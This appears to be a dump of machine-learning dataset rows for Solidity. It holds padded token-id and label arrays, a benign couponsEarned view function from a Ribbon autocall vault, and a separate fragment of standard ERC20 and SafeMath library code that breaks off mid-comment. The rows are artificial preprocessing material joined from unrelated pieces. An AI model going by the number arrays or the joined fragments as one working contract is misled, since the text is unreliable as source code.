-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x9490CCf93Cd750dc47f72402A163022cfB94CFC9/sources/contracts/vaults/TreasuryVault/RibbonAutocallVault.sol
|
* @dev Gets coupons earned so far @return the number of coupons earned @return coupons earned in USDC @return minimum between autocall timestamp and expiry/
|
function couponsEarned()
external
view
returns (
uint256,
uint256,
uint256
)
{
(uint256 autocallTS, uint256 nCBBreaches, uint256 lastCBBreach) =
_autocallState(
IOtoken(optionState.currentOption).expiryTimestamp()
);
(uint256 nCouponsEarned, uint256 earnedAmt, ) =
_couponsEarned(nCBBreaches, lastCBBreach);
return (nCouponsEarned, earnedAmt, autocallTS);
}
| 3,540,630 |
[
1,
4625,
348,
7953,
560,
30,
380,
632,
5206,
11881,
1825,
30324,
425,
1303,
329,
1427,
10247,
632,
2463,
326,
1300,
434,
1825,
30324,
425,
1303,
329,
632,
2463,
1825,
30324,
425,
1303,
329,
316,
11836,
5528,
632,
2463,
5224,
3086,
23173,
454,
2858,
471,
10839,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1825,
30324,
41,
1303,
329,
1435,
203,
3639,
3903,
203,
3639,
1476,
203,
3639,
1135,
261,
203,
5411,
2254,
5034,
16,
203,
5411,
2254,
5034,
16,
203,
5411,
2254,
5034,
203,
3639,
262,
203,
565,
288,
203,
3639,
261,
11890,
5034,
23173,
454,
8047,
16,
2254,
5034,
290,
8876,
38,
12974,
281,
16,
2254,
5034,
1142,
8876,
38,
12974,
13,
273,
203,
5411,
389,
5854,
504,
454,
1119,
12,
203,
7734,
1665,
2316,
12,
3482,
1119,
18,
2972,
1895,
2934,
22409,
4921,
1435,
203,
5411,
11272,
203,
203,
3639,
261,
11890,
5034,
290,
4249,
30324,
41,
1303,
329,
16,
2254,
5034,
425,
1303,
329,
31787,
16,
262,
273,
203,
5411,
389,
2894,
30324,
41,
1303,
329,
12,
82,
8876,
38,
12974,
281,
16,
1142,
8876,
38,
12974,
1769,
203,
203,
3639,
327,
261,
82,
4249,
30324,
41,
1303,
329,
16,
425,
1303,
329,
31787,
16,
23173,
454,
8047,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
